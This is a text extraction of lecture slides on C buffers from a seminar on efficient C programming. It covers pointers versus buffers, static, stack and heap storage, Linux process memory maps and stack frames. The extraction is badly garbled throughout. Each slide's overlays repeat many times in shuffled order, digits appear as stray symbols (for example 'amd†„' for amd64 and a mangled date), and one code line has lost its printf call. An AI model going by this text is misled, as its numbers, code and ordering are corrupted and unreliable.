Working with Buffers Seminar Efficient Programming in C

Christoph Brauer

Scientific Computing Research Group University Hamburg

December †, ‚€‚ Table of Contents

Preface 

Introduction to C buffers and storage variants ‚

Runtime allocation efficiency ƒ

Security concerns „

Literature

Discussion † as a hardcopy, should lie just in front of you for download, use these for your own experiments

Data is stored in little-endian format CPU registers and pointers are †„ bits

Not ANSI C but gcc’s ISO C‰‰ dialect default -O0

really working available ...

Linux running on amd†„ architecture

gcc „.‡ with recent binutils ( as, ld, gas, objdump ... )

Examples themselves are

Please ask me just inbetween !

Preface Environment used for examples

 / ƒ as a hardcopy, should lie just in front of you for download, use these for your own experiments

Not ANSI C but gcc’s ISO C‰‰ dialect default -O0

really working available ...

Data is stored in little-endian format CPU registers and pointers are †„ bits gcc „.‡ with recent binutils ( as, ld, gas, objdump ... )

Examples themselves are

Please ask me just inbetween !

Preface Environment used for examples running on amd†„ architecture

 / ƒ as a hardcopy, should lie just in front of you for download, use these for your own experiments

Not ANSI C but gcc’s ISO C‰‰ dialect default -O0

really working available ...

CPU registers and pointers are †„ bits gcc „.‡ with recent binutils ( as, ld, gas, objdump ... )

Examples themselves are

Please ask me just inbetween !

Preface Environment used for examples Linux running on amd†„ architecture Data is stored in little-endian format

 / ƒ as a hardcopy, should lie just in front of you for download, use these for your own experiments

Not ANSI C but gcc’s ISO C‰‰ dialect default -O0

really working available ...

gcc „.‡ with recent binutils ( as, ld, gas, objdump ... )

Examples themselves are

Please ask me just inbetween !

Preface Environment used for examples Linux running on amd†„ architecture Data is stored in little-endian format CPU registers and pointers are †„ bits

 / ƒ as a hardcopy, should lie just in front of you for download, use these for your own experiments

really working available ...

Not ANSI C but gcc’s ISO C‰‰ dialect default -O0 Examples themselves are

Please ask me just inbetween !

Preface Environment used for examples Linux running on amd†„ architecture Data is stored in little-endian format CPU registers and pointers are †„ bits gcc „.‡ with recent binutils ( as, ld, gas, objdump ... )

 / ƒ as a hardcopy, should lie just in front of you for download, use these for your own experiments

really working available ...

default -O0 Examples themselves are

Please ask me just inbetween !

Preface Environment used for examples Linux running on amd†„ architecture Data is stored in little-endian format CPU registers and pointers are †„ bits gcc „.‡ with recent binutils ( as, ld, gas, objdump ... ) Not ANSI C but gcc’s ISO C‰‰ dialect

 / ƒ as a hardcopy, should lie just in front of you for download, use these for your own experiments

really working available ...

Examples themselves are

Please ask me just inbetween !

Preface Environment used for examples Linux running on amd†„ architecture Data is stored in little-endian format CPU registers and pointers are †„ bits gcc „.‡ with recent binutils ( as, ld, gas, objdump ... ) Not ANSI C but gcc’s ISO C‰‰ dialect default -O0

 / ƒ as a hardcopy, should lie just in front of you for download, use these for your own experiments

really working available ...

Please ask me just inbetween !

Preface Environment used for examples Linux running on amd†„ architecture Data is stored in little-endian format CPU registers and pointers are †„ bits gcc „.‡ with recent binutils ( as, ld, gas, objdump ... ) Not ANSI C but gcc’s ISO C‰‰ dialect default -O0 Examples themselves are

 / ƒ as a hardcopy, should lie just in front of you for download, use these for your own experiments

available ...

Please ask me just inbetween !

Preface Environment used for examples Linux running on amd†„ architecture Data is stored in little-endian format CPU registers and pointers are †„ bits gcc „.‡ with recent binutils ( as, ld, gas, objdump ... ) Not ANSI C but gcc’s ISO C‰‰ dialect default -O0 Examples themselves are really working

 / ƒ as a hardcopy, should lie just in front of you for download, use these for your own experiments Please ask me just inbetween !

Preface Environment used for examples Linux running on amd†„ architecture Data is stored in little-endian format CPU registers and pointers are †„ bits gcc „.‡ with recent binutils ( as, ld, gas, objdump ... ) Not ANSI C but gcc’s ISO C‰‰ dialect default -O0 Examples themselves are really working available ...

 / ƒ for download, use these for your own experiments Please ask me just inbetween !

Preface Environment used for examples Linux running on amd†„ architecture Data is stored in little-endian format CPU registers and pointers are †„ bits gcc „.‡ with recent binutils ( as, ld, gas, objdump ... ) Not ANSI C but gcc’s ISO C‰‰ dialect default -O0 Examples themselves are really working available ... as a hardcopy, should lie just in front of you

 / ƒ Please ask me just inbetween !

Preface Environment used for examples Linux running on amd†„ architecture Data is stored in little-endian format CPU registers and pointers are †„ bits gcc „.‡ with recent binutils ( as, ld, gas, objdump ... ) Not ANSI C but gcc’s ISO C‰‰ dialect default -O0 Examples themselves are really working available ... as a hardcopy, should lie just in front of you for download, use these for your own experiments

 / ƒ Preface Environment used for examples Linux running on amd†„ architecture Data is stored in little-endian format CPU registers and pointers are †„ bits gcc „.‡ with recent binutils ( as, ld, gas, objdump ... ) Not ANSI C but gcc’s ISO C‰‰ dialect default -O0 Examples themselves are really working available ... as a hardcopy, should lie just in front of you for download, use these for your own experiments Please ask me just inbetween !

 / ƒ Introduction to C buffers and storage variants that is assigned data of the same and allocated using the C programming language

a continuous area of general computer memory ...

A C buffer is ...

Just some buffers hellobuffers.c

1 typedef unsigned long long int uint64_t ; 2 3 int main ( void) 4 { 5 char bufPtr1[32] ="Jay Miner"; 6 char *bufPtr2 ="Jack Tramiel"; 7 uint64_t *bufPtr3 = malloc ( 16 * sizeof ( uint64_t ) ) ; 8 int bufPtr4[4] = { 0x1234, 0x4567, 0xdead, 0xbeef } ; 9 return(0); 10 }

Introduction to C buffers and storage variants Definition What is a C buffer ?

‚ / ƒ that is assigned data of the same type and allocated using the C programming language

a continuous area of general computer memory ...

Just some buffers hellobuffers.c

1 typedef unsigned long long int uint64_t ; 2 3 int main ( void) 4 { 5 char bufPtr1[32] ="Jay Miner"; 6 char *bufPtr2 ="Jack Tramiel"; 7 uint64_t *bufPtr3 = malloc ( 16 * sizeof ( uint64_t ) ) ; 8 int bufPtr4[4] = { 0x1234, 0x4567, 0xdead, 0xbeef } ; 9 return(0); 10 }

Introduction to C buffers and storage variants Definition What is a C buffer ? A C buffer is ...

‚ / ƒ that is assigned data of the same type and allocated using the C programming language

Just some buffers hellobuffers.c

1 typedef unsigned long long int uint64_t ; 2 3 int main ( void) 4 { 5 char bufPtr1[32] ="Jay Miner"; 6 char *bufPtr2 ="Jack Tramiel"; 7 uint64_t *bufPtr3 = malloc ( 16 * sizeof ( uint64_t ) ) ; 8 int bufPtr4[4] = { 0x1234, 0x4567, 0xdead, 0xbeef } ; 9 return(0); 10 }

Introduction to C buffers and storage variants Definition What is a C buffer ? A C buffer is ... a continuous area of general computer memory ...

‚ / ƒ and allocated using the C programming language

Just some buffers hellobuffers.c

1 typedef unsigned long long int uint64_t ; 2 3 int main ( void) 4 { 5 char bufPtr1[32] ="Jay Miner"; 6 char *bufPtr2 ="Jack Tramiel"; 7 uint64_t *bufPtr3 = malloc ( 16 * sizeof ( uint64_t ) ) ; 8 int bufPtr4[4] = { 0x1234, 0x4567, 0xdead, 0xbeef } ; 9 return(0); 10 }

Introduction to C buffers and storage variants Definition What is a C buffer ? A C buffer is ... a continuous area of general computer memory ... that is assigned data of the same type

‚ / ƒ Just some buffers hellobuffers.c

1 typedef unsigned long long int uint64_t ; 2 3 int main ( void) 4 { 5 char bufPtr1[32] ="Jay Miner"; 6 char *bufPtr2 ="Jack Tramiel"; 7 uint64_t *bufPtr3 = malloc ( 16 * sizeof ( uint64_t ) ) ; 8 int bufPtr4[4] = { 0x1234, 0x4567, 0xdead, 0xbeef } ; 9 return(0); 10 }

Introduction to C buffers and storage variants Definition What is a C buffer ? A C buffer is ... a continuous area of general computer memory ... that is assigned data of the same type and allocated using the C programming language

‚ / ƒ Introduction to C buffers and storage variants Definition What is a C buffer ? A C buffer is ... a continuous area of general computer memory ... that is assigned data of the same type and allocated using the C programming language

Just some buffers hellobuffers.c

1 typedef unsigned long long int uint64_t ; 2 3 int main ( void) 4 { 5 char bufPtr1[32] ="Jay Miner"; 6 char *bufPtr2 ="Jack Tramiel"; 7 uint64_t *bufPtr3 = malloc ( 16 * sizeof ( uint64_t ) ) ; 8 int bufPtr4[4] = { 0x1234, 0x4567, 0xdead, 0xbeef } ; 9 return(0); 10 }

‚ / ƒ Program output Greetings, Professor Falken.

Nothing really going on here ?

Introduction to C buffers and storage variants One simple buffer One simple buffer simplebuffer.c

1 int main ( void) 2 { 3 char *myBufferPtr ="Greetings, Professor Falken.\n"; 4 ("%s", myBufferPtr ) ; 5 return(0); 6 }

ƒ / ƒ Nothing really going on here ?

Introduction to C buffers and storage variants One simple buffer One simple buffer simplebuffer.c

1 int main ( void) 2 { 3 char *myBufferPtr ="Greetings, Professor Falken.\n"; 4 printf ("%s", myBufferPtr ) ; 5 return(0); 6 }

Program output Greetings, Professor Falken.

ƒ / ƒ Introduction to C buffers and storage variants One simple buffer One simple buffer simplebuffer.c

1 int main ( void) 2 { 3 char *myBufferPtr ="Greetings, Professor Falken.\n"; 4 printf ("%s", myBufferPtr ) ; 5 return(0); 6 }

Program output Greetings, Professor Falken.

Nothing really going on here ?

ƒ / ƒ Program output Address of myBufferPtr : 0x00007fffffffe228 Content of myBufferPtr : 0x0000000000400690 Size of myBufferPtr : 8 Size of buffer : 30 Content of buffer : Greetings, Professor Falken.

Introduction to C buffers and storage variants One simple verbose buffer One simple verbose buffer verbosebuffer.c

1 int main ( void) 2 { 3 char *myBufferPtr ="Greetings, Professor Falken.\n"; 4 5 printf ("Address of myBufferPtr: %016p\n", &myBufferPtr ) ; 6 printf ("Content of myBufferPtr: %016p\n", myBufferPtr ) ; 7 printf ("Size of myBufferPtr:%d\n", sizeof(myBufferPtr) ) ; 8 printf ("Size of buffer:%d\n", strlen ( myBufferPtr ) + 1 ) ; 9 printf ("Content of buffer:%s\n", myBufferPtr ) ; 10 return(0); 11 }

„ / ƒ Introduction to C buffers and storage variants One simple verbose buffer One simple verbose buffer verbosebuffer.c

1 int main ( void) 2 { 3 char *myBufferPtr ="Greetings, Professor Falken.\n"; 4 5 printf ("Address of myBufferPtr: %016p\n", &myBufferPtr ) ; 6 printf ("Content of myBufferPtr: %016p\n", myBufferPtr ) ; 7 printf ("Size of myBufferPtr:%d\n", sizeof(myBufferPtr) ) ; 8 printf ("Size of buffer:%d\n", strlen ( myBufferPtr ) + 1 ) ; 9 printf ("Content of buffer:%s\n", myBufferPtr ) ; 10 return(0); 11 }

Program output Address of myBufferPtr : 0x00007fffffffe228 Content of myBufferPtr : 0x0000000000400690 Size of myBufferPtr : 8 Size of buffer : 30 Content of buffer : Greetings, Professor Falken.

„ / ƒ myBufferPtr and the actual buffer illustrated

Introduction to C buffers and storage variants One simple verbose buffer illustrated Program output Address of myBufferPtr : 0x00007fffffffe228 Content of myBufferPtr : 0x0000000000400690 Size of myBufferPtr : 8 Size of buffer : 30 Content of buffer : Greetings, Professor Falken.

/ ƒ Introduction to C buffers and storage variants One simple verbose buffer illustrated Program output Address of myBufferPtr : 0x00007fffffffe228 Content of myBufferPtr : 0x0000000000400690 Size of myBufferPtr : 8 Size of buffer : 30 Content of buffer : Greetings, Professor Falken. myBufferPtr and the actual buffer illustrated

/ ƒ The pointer is a variable that contains the address of the lowest byte occupied by the buffer The buffer forms a compound area in memory Buffers and pointers are two very different things, though it’s fairly easy to mix them up

Introduction to C buffers and storage variants One simple verbose buffer illustrated myBufferPtr and the actual buffer illustrated

† / ƒ The buffer forms a compound area in memory Buffers and pointers are two very different things, though it’s fairly easy to mix them up

Introduction to C buffers and storage variants One simple verbose buffer illustrated myBufferPtr and the actual buffer illustrated

The pointer is a variable that contains the address of the lowest byte occupied by the buffer

† / ƒ Buffers and pointers are two very different things, though it’s fairly easy to mix them up

Introduction to C buffers and storage variants One simple verbose buffer illustrated myBufferPtr and the actual buffer illustrated

The pointer is a variable that contains the address of the lowest byte occupied by the buffer The buffer forms a compound area in memory

† / ƒ Introduction to C buffers and storage variants One simple verbose buffer illustrated myBufferPtr and the actual buffer illustrated

The pointer is a variable that contains the address of the lowest byte occupied by the buffer The buffer forms a compound area in memory Buffers and pointers are two very different things, though it’s fairly easy to mix them up

† / ƒ Program output ( simply all pointers printed ) Address of staticConstBuffer : 0x00000000004008c0 Address of staticEmptyBuffer : 0x0000000000600c60 Address of staticPresetBuffer : 0x0000000000600c20 Address of stackBuffer : 0x00007fffffffe1f0 Address of constBuffer : 0x00000000004007a0 Address of heapBuffer : 0x0000000000601010

Introduction to C buffers and storage variants Various buffers Various different buffers variousbuffers.c

1 static const char staticConstBuffer[32] ="Hello, Dave."; 2 static char staticEmptyBuffer[32] ; 3 static char staticPresetBuffer[32] ="Hello, Dave."; 4 char stackBuffer[32] ="Hello, Dave."; 5 char *constBuffer ="Hello, Dave"; 6 char *heapBuffer = (char*) malloc ( 32 ) ; 7 strcpy ( staticEmptyBuffer,"Hello, Dave."); 8 strcpy ( heapBuffer,"Hello, Dave.");

‡ / ƒ Introduction to C buffers and storage variants Various buffers Various different buffers variousbuffers.c

1 static const char staticConstBuffer[32] ="Hello, Dave."; 2 static char staticEmptyBuffer[32] ; 3 static char staticPresetBuffer[32] ="Hello, Dave."; 4 char stackBuffer[32] ="Hello, Dave."; 5 char *constBuffer ="Hello, Dave"; 6 char *heapBuffer = (char*) malloc ( 32 ) ; 7 strcpy ( staticEmptyBuffer,"Hello, Dave."); 8 strcpy ( heapBuffer,"Hello, Dave.");

Program output ( simply all pointers printed ) Address of staticConstBuffer : 0x00000000004008c0 Address of staticEmptyBuffer : 0x0000000000600c60 Address of staticPresetBuffer : 0x0000000000600c20 Address of stackBuffer : 0x00007fffffffe1f0 Address of constBuffer : 0x00000000004007a0 Address of heapBuffer : 0x0000000000601010

‡ / ƒ buffers with similar characteristics are allocated in the very same memory area? or even the other way round : the memory areas, in which buffers are allocated, determine their characteristics?

Some buffers are located the ”bottom” of the memory and just several bytes ”away” from each other ...... some others are at the ”top” of the memory and ”distanced” several terabytes Could it probably be that ...

Introduction to C buffers and storage variants Various buffers Program output ( simply all pointers printed ) Address of staticConstBuffer : 0x00000000004008c0 Address of staticEmptyBuffer : 0x0000000000600c60 Address of staticPresetBuffer : 0x0000000000600c20 Address of stackBuffer : 0x00007fffffffe1f0 Address of constBuffer : 0x00000000004007a0 Address of heapBuffer : 0x0000000000601010

ˆ / ƒ buffers with similar characteristics are allocated in the very same memory area? or even the other way round : the memory areas, in which buffers are allocated, determine their characteristics?

... some others are at the ”top” of the memory and ”distanced” several terabytes Could it probably be that ...

Introduction to C buffers and storage variants Various buffers Program output ( simply all pointers printed ) Address of staticConstBuffer : 0x00000000004008c0 Address of staticEmptyBuffer : 0x0000000000600c60 Address of staticPresetBuffer : 0x0000000000600c20 Address of stackBuffer : 0x00007fffffffe1f0 Address of constBuffer : 0x00000000004007a0 Address of heapBuffer : 0x0000000000601010

Some buffers are located at the ”bottom” of the memory and just several bytes ”away” from each other ...

ˆ / ƒ buffers with similar characteristics are allocated in the very same memory area? or even the other way round : the memory areas, in which buffers are allocated, determine their characteristics?

Could it probably be that ...

Introduction to C buffers and storage variants Various buffers Program output ( simply all pointers printed ) Address of staticConstBuffer : 0x00000000004008c0 Address of staticEmptyBuffer : 0x0000000000600c60 Address of staticPresetBuffer : 0x0000000000600c20 Address of stackBuffer : 0x00007fffffffe1f0 Address of constBuffer : 0x00000000004007a0 Address of heapBuffer : 0x0000000000601010

Some buffers are located at the ”bottom” of the memory and just several bytes ”away” from each other ...... some others are at the ”top” of the memory and ”distanced” several terabytes

ˆ / ƒ buffers with similar characteristics are allocated in the very same memory area? or even the other way round : the memory areas, in which buffers are allocated, determine their characteristics?

Introduction to C buffers and storage variants Various buffers Program output ( simply all pointers printed ) Address of staticConstBuffer : 0x00000000004008c0 Address of staticEmptyBuffer : 0x0000000000600c60 Address of staticPresetBuffer : 0x0000000000600c20 Address of stackBuffer : 0x00007fffffffe1f0 Address of constBuffer : 0x00000000004007a0 Address of heapBuffer : 0x0000000000601010

Some buffers are located at the ”bottom” of the memory and just several bytes ”away” from each other ...... some others are at the ”top” of the memory and ”distanced” several terabytes Could it probably be that ...

ˆ / ƒ or even the other way round : the memory areas, in which buffers are allocated, determine their characteristics?

Introduction to C buffers and storage variants Various buffers Program output ( simply all pointers printed ) Address of staticConstBuffer : 0x00000000004008c0 Address of staticEmptyBuffer : 0x0000000000600c60 Address of staticPresetBuffer : 0x0000000000600c20 Address of stackBuffer : 0x00007fffffffe1f0 Address of constBuffer : 0x00000000004007a0 Address of heapBuffer : 0x0000000000601010

Some buffers are located at the ”bottom” of the memory and just several bytes ”away” from each other ...... some others are at the ”top” of the memory and ”distanced” several terabytes Could it probably be that ... buffers with similar characteristics are allocated in the very same memory area?

ˆ / ƒ Introduction to C buffers and storage variants Various buffers Program output ( simply all pointers printed ) Address of staticConstBuffer : 0x00000000004008c0 Address of staticEmptyBuffer : 0x0000000000600c60 Address of staticPresetBuffer : 0x0000000000600c20 Address of stackBuffer : 0x00007fffffffe1f0 Address of constBuffer : 0x00000000004007a0 Address of heapBuffer : 0x0000000000601010

Some buffers are located at the ”bottom” of the memory and just several bytes ”away” from each other ...... some others are at the ”top” of the memory and ”distanced” several terabytes Could it probably be that ... buffers with similar characteristics are allocated in the very same memory area? or even the other way round : the memory areas, in which buffers are allocated, determine their characteristics?

ˆ / ƒ Introduction to C buffers and storage variants Excursion - Linux Virtual Memory The Linux virtual process address spaces

‰ / ƒ There is a pmap to display the current memory map of a running process ( Linux, Net/Open/FreeBSD, SunOS ... )

Output of the pmap command

1 $ pmap ‘pgrep variousbuffers‘ 2 4937: ./variousbuffers.elf 3 0000000000400000 4K r-x-- /home/krusty/code/variousbuffers.elf 4 0000000000600000 4K rw--- /home/krusty/code/variousbuffers.elf 5 0000000000601000 132K rw--- [ anon ] 6 00007ffff7a56000 1524K r-x-- /lib/x86_64-linux-gnu/libc-2.13.so 7 00007ffff7ff7000 16K rw--- [ anon ] 8 00007ffff7ffb000 4K r-x-- [ anon ] 9 00007ffff7ffc000 4K r---- /lib/x86_64-linux-gnu/ld-2.13.so 10 00007ffff7ffd000 4K rw--- /lib/x86_64-linux-gnu/ld-2.13.so 11 00007ffff7ffe000 4K rw--- [ anon ] 12 00007ffffffde000 132K rw--- [ stack ] 13 ffffffffff600000 4K r-x-- [ anon ] 14 $

Introduction to C buffers and storage variants Excursion - Linux Virtual Memory How can we find out which sections our program uses and where those are located in virtual memory ?

€ / ƒ Output of the pmap command

1 $ pmap ‘pgrep variousbuffers‘ 2 4937: ./variousbuffers.elf 3 0000000000400000 4K r-x-- /home/krusty/code/variousbuffers.elf 4 0000000000600000 4K rw--- /home/krusty/code/variousbuffers.elf 5 0000000000601000 132K rw--- [ anon ] 6 00007ffff7a56000 1524K r-x-- /lib/x86_64-linux-gnu/libc-2.13.so 7 00007ffff7ff7000 16K rw--- [ anon ] 8 00007ffff7ffb000 4K r-x-- [ anon ] 9 00007ffff7ffc000 4K r---- /lib/x86_64-linux-gnu/ld-2.13.so 10 00007ffff7ffd000 4K rw--- /lib/x86_64-linux-gnu/ld-2.13.so 11 00007ffff7ffe000 4K rw--- [ anon ] 12 00007ffffffde000 132K rw--- [ stack ] 13 ffffffffff600000 4K r-x-- [ anon ] 14 $

Introduction to C buffers and storage variants Excursion - Linux Virtual Memory How can we find out which sections our program uses and where those are located in virtual memory ? There is a pmap command to display the current memory map of a running process ( Linux, Net/Open/FreeBSD, SunOS ... )

€ / ƒ Introduction to C buffers and storage variants Excursion - Linux Virtual Memory How can we find out which sections our program uses and where those are located in virtual memory ? There is a pmap command to display the current memory map of a running process ( Linux, Net/Open/FreeBSD, SunOS ... )

Output of the pmap command

1 $ pmap ‘pgrep variousbuffers‘ 2 4937: ./variousbuffers.elf 3 0000000000400000 4K r-x-- /home/krusty/code/variousbuffers.elf 4 0000000000600000 4K rw--- /home/krusty/code/variousbuffers.elf 5 0000000000601000 132K rw--- [ anon ] 6 00007ffff7a56000 1524K r-x-- /lib/x86_64-linux-gnu/libc-2.13.so 7 00007ffff7ff7000 16K rw--- [ anon ] 8 00007ffff7ffb000 4K r-x-- [ anon ] 9 00007ffff7ffc000 4K r---- /lib/x86_64-linux-gnu/ld-2.13.so 10 00007ffff7ffd000 4K rw--- /lib/x86_64-linux-gnu/ld-2.13.so 11 00007ffff7ffe000 4K rw--- [ anon ] 12 00007ffffffde000 132K rw--- [ stack ] 13 ffffffffff600000 4K r-x-- [ anon ] 14 $

€ / ƒ Introduction to C buffers and storage variants Buffer to section mapping The Linux virtual process address spaces

 / ƒ have a fixed size and a fixed layout that is determined before any line of your code is run thus they do not require any runtime management

do not contain pre-initialized data have a starting size which can ( and most probably will ) be resized during program execution thus they do require runtime management

Sections are assigned access privileges The text sections contains executable code and constants The data sections contains static variables Both section ...

Stack and heap sections

Introduction to C buffers and storage variants Section properties

Address space

‚ / ƒ have a fixed size and a fixed layout that is determined before any line of your code is run thus they do not require any runtime management

do not contain pre-initialized data have a starting size which can ( and most probably will ) be resized during program execution thus they do require runtime management

The text sections contains executable code and constants The data sections contains static variables Both section ...

Stack and heap sections

Introduction to C buffers and storage variants Section properties Sections are assigned access privileges Address space

‚ / ƒ have a fixed size and a fixed layout that is determined before any line of your code is run thus they do not require any runtime management

do not contain pre-initialized data have a starting size which can ( and most probably will ) be resized during program execution thus they do require runtime management

The data sections contains static variables Both section ...

Stack and heap sections

Introduction to C buffers and storage variants Section properties Sections are assigned access privileges The text sections contains executable code and Address space constants

‚ / ƒ have a fixed size and a fixed layout that is determined before any line of your code is run thus they do not require any runtime management

do not contain pre-initialized data have a starting size which can ( and most probably will ) be resized during program execution thus they do require runtime management

Both section ...

Stack and heap sections

Introduction to C buffers and storage variants Section properties Sections are assigned access privileges The text sections contains executable code and Address space constants The data sections contains static variables

‚ / ƒ do not contain pre-initialized data have a starting size which can ( and most probably will ) be resized during program execution thus they do require runtime management

have a fixed size and a fixed layout that is determined before any line of your code is run thus they do not require any runtime management Stack and heap sections

Introduction to C buffers and storage variants Section properties Sections are assigned access privileges The text sections contains executable code and Address space constants The data sections contains static variables Both section ...

‚ / ƒ do not contain pre-initialized data have a starting size which can ( and most probably will ) be resized during program execution thus they do require runtime management

thus they do not require any runtime management Stack and heap sections

Introduction to C buffers and storage variants Section properties Sections are assigned access privileges The text sections contains executable code and Address space constants The data sections contains static variables Both section ... have a fixed size and a fixed layout that is determined before any line of your code is run

‚ / ƒ do not contain pre-initialized data have a starting size which can ( and most probably will ) be resized during program execution thus they do require runtime management

Stack and heap sections

Introduction to C buffers and storage variants Section properties Sections are assigned access privileges The text sections contains executable code and Address space constants The data sections contains static variables Both section ... have a fixed size and a fixed layout that is determined before any line of your code is run thus they do not require any runtime management

‚ / ƒ do not contain pre-initialized data have a starting size which can ( and most probably will ) be resized during program execution thus they do require runtime management

Introduction to C buffers and storage variants Section properties Sections are assigned access privileges The text sections contains executable code and Address space constants The data sections contains static variables Both section ... have a fixed size and a fixed layout that is determined before any line of your code is run thus they do not require any runtime management Stack and heap sections

‚ / ƒ have a starting size which can ( and most probably will ) be resized during program execution thus they do require runtime management

Introduction to C buffers and storage variants Section properties Sections are assigned access privileges The text sections contains executable code and Address space constants The data sections contains static variables Both section ... have a fixed size and a fixed layout that is determined before any line of your code is run thus they do not require any runtime management Stack and heap sections do not contain pre-initialized data

‚ / ƒ thus they do require runtime management

Introduction to C buffers and storage variants Section properties Sections are assigned access privileges The text sections contains executable code and Address space constants The data sections contains static variables Both section ... have a fixed size and a fixed layout that is determined before any line of your code is run thus they do not require any runtime management Stack and heap sections do not contain pre-initialized data have a starting size which can ( and most probably will ) be resized during program execution

‚ / ƒ Introduction to C buffers and storage variants Section properties Sections are assigned access privileges The text sections contains executable code and Address space constants The data sections contains static variables Both section ... have a fixed size and a fixed layout that is determined before any line of your code is run thus they do not require any runtime management Stack and heap sections do not contain pre-initialized data have a starting size which can ( and most probably will ) be resized during program execution thus they do require runtime management

‚ / ƒ Runtime allocation efficiency Stack allocations Heap allocations

Thus they can not appear in any loops and are not in the scope of efficiency issues anyway So in the upcoming section we will focus on

Runtime allocation efficiency Efficiency scope

Static allocations are only performed once during program initialization

ƒ / ƒ Stack allocations Heap allocations

So in the upcoming section we will focus on

Runtime allocation efficiency Efficiency scope

Static allocations are only performed once during program initialization Thus they can not appear in any loops and are not in the scope of efficiency issues anyway

ƒ / ƒ Stack allocations Heap allocations

Runtime allocation efficiency Efficiency scope

Static allocations are only performed once during program initialization Thus they can not appear in any loops and are not in the scope of efficiency issues anyway So in the upcoming section we will focus on

ƒ / ƒ Heap allocations

Runtime allocation efficiency Efficiency scope

Static allocations are only performed once during program initialization Thus they can not appear in any loops and are not in the scope of efficiency issues anyway So in the upcoming section we will focus on Stack allocations

ƒ / ƒ Runtime allocation efficiency Efficiency scope

Static allocations are only performed once during program initialization Thus they can not appear in any loops and are not in the scope of efficiency issues anyway So in the upcoming section we will focus on Stack allocations Heap allocations

ƒ / ƒ function return addresses local variables ( sometimes ) function arguments

Stack is organized as a ( Last In - First Out ) LIFO queue Growing from high to low addresses Most often used as a general temporary data storage

Stackpointer ( SP ) denotes current stack position SP is almost always a CPU register, on AMD†„ it is RSP xˆ† CPUs do push elements by decrementing the SP first and storing the value afterwards

Runtime allocation efficiency The Stack

Example ‚ † byte stack of a † bit machine

„ / ƒ function return addresses local variables ( sometimes ) function arguments

Growing from high to low addresses Most often used as a general temporary data storage

Stackpointer ( SP ) denotes current stack position SP is almost always a CPU register, on AMD†„ it is RSP xˆ† CPUs do push elements by decrementing the SP first and storing the value afterwards

Runtime allocation efficiency The Stack Stack is organized as a ( Last In - First Out ) LIFO queue Example ‚ † byte stack of a † bit machine

„ / ƒ function return addresses local variables ( sometimes ) function arguments

Most often used as a general temporary data storage

Stackpointer ( SP ) denotes current stack position SP is almost always a CPU register, on AMD†„ it is RSP xˆ† CPUs do push elements by decrementing the SP first and storing the value afterwards

Runtime allocation efficiency The Stack Stack is organized as a ( Last In - First Out ) LIFO queue Growing from high to low addresses Example ‚ † byte stack of a † bit machine

„ / ƒ function return addresses local variables ( sometimes ) function arguments Stackpointer ( SP ) denotes current stack position SP is almost always a CPU register, on AMD†„ it is RSP xˆ† CPUs do push elements by decrementing the SP first and storing the value afterwards

Runtime allocation efficiency The Stack Stack is organized as a ( Last In - First Out ) LIFO queue Growing from high to low addresses Example ‚ † byte stack of Most often used as a general temporary data storage a † bit machine

„ / ƒ local variables ( sometimes ) function arguments Stackpointer ( SP ) denotes current stack position SP is almost always a CPU register, on AMD†„ it is RSP xˆ† CPUs do push elements by decrementing the SP first and storing the value afterwards

Runtime allocation efficiency The Stack Stack is organized as a ( Last In - First Out ) LIFO queue Growing from high to low addresses Example ‚ † byte stack of Most often used as a general temporary data storage a † bit machine function return addresses

„ / ƒ ( sometimes ) function arguments Stackpointer ( SP ) denotes current stack position SP is almost always a CPU register, on AMD†„ it is RSP xˆ† CPUs do push elements by decrementing the SP first and storing the value afterwards

Runtime allocation efficiency The Stack Stack is organized as a ( Last In - First Out ) LIFO queue Growing from high to low addresses Example ‚ † byte stack of Most often used as a general temporary data storage a † bit machine function return addresses local variables

„ / ƒ Stackpointer ( SP ) denotes current stack position SP is almost always a CPU register, on AMD†„ it is RSP xˆ† CPUs do push elements by decrementing the SP first and storing the value afterwards

Runtime allocation efficiency The Stack Stack is organized as a ( Last In - First Out ) LIFO queue Growing from high to low addresses Example ‚ † byte stack of Most often used as a general temporary data storage a † bit machine function return addresses local variables ( sometimes ) function arguments

„ / ƒ SP is almost always a CPU register, on AMD†„ it is RSP xˆ† CPUs do push elements by decrementing the SP first and storing the value afterwards

Runtime allocation efficiency The Stack Stack is organized as a ( Last In - First Out ) LIFO queue Growing from high to low addresses Example ‚ † byte stack of Most often used as a general temporary data storage a † bit machine function return addresses local variables ( sometimes ) function arguments Stackpointer ( SP ) denotes current stack position

„ / ƒ xˆ† CPUs do push elements by decrementing the SP first and storing the value afterwards

Runtime allocation efficiency The Stack Stack is organized as a ( Last In - First Out ) LIFO queue Growing from high to low addresses Example ‚ † byte stack of Most often used as a general temporary data storage a † bit machine function return addresses local variables ( sometimes ) function arguments Stackpointer ( SP ) denotes current stack position SP is almost always a CPU register, on AMD†„ it is RSP

„ / ƒ Runtime allocation efficiency The Stack Stack is organized as a ( Last In - First Out ) LIFO queue Growing from high to low addresses Example ‚ † byte stack of Most often used as a general temporary data storage a † bit machine function return addresses local variables ( sometimes ) function arguments Stackpointer ( SP ) denotes current stack position SP is almost always a CPU register, on AMD†„ it is RSP xˆ† CPUs do push elements by decrementing the SP first and storing the value afterwards

„ / ƒ Stackframe

Runtime allocation efficiency The Stack Small stack example

1 void secondFunction ( void) 2 { 3 char secondBuffer[] ="Crunch"; 4 } 5 6 7 void firstFunction ( void) 8 { 9 char firstBuffer[] ="Captain"; 10 secondFunction () ; 11 // return point to firstFunction 12 } 13 14 int main ( void) 15 { 16 firstFunction () ; 17 // return point to main function 18 return(0); 19 }

 / ƒ Runtime allocation efficiency The Stack

Small stack example Stackframe

1 void secondFunction ( void) 2 { 3 char secondBuffer[] ="Crunch"; 4 } 5 6 7 void firstFunction ( void) 8 { 9 char firstBuffer[] ="Captain"; 10 secondFunction () ; 11 // return point to firstFunction 12 } 13 14 int main ( void) 15 { 16 firstFunction () ; 17 // return point to main function 18 return(0); 19 }

 / ƒ A can pass its local stack data to B for it’s located ”above” B’s stackframe and thus can not be overwritten by B B can not pass its local stack data to A because B’s stackframe is located ”beyond” A’s stackframe and thus will be simpy overwritten by subsequent function calls of A

the current function simply claims all the stackspace from the current stackpointer to the stack bottom local stack data is simply written consecutively allocation is really nothing but altering a pointer The major drawback of stack allocation is the limited lifespan of the stack data For instance, let A and B be functions such that function A calls function B

Runtime allocation efficiency The Stack Stack allocation requires few ressources for

† / ƒ A can pass its local stack data to B for it’s located ”above” B’s stackframe and thus can not be overwritten by B B can not pass its local stack data to A because B’s stackframe is located ”beyond” A’s stackframe and thus will be simpy overwritten by subsequent function calls of A

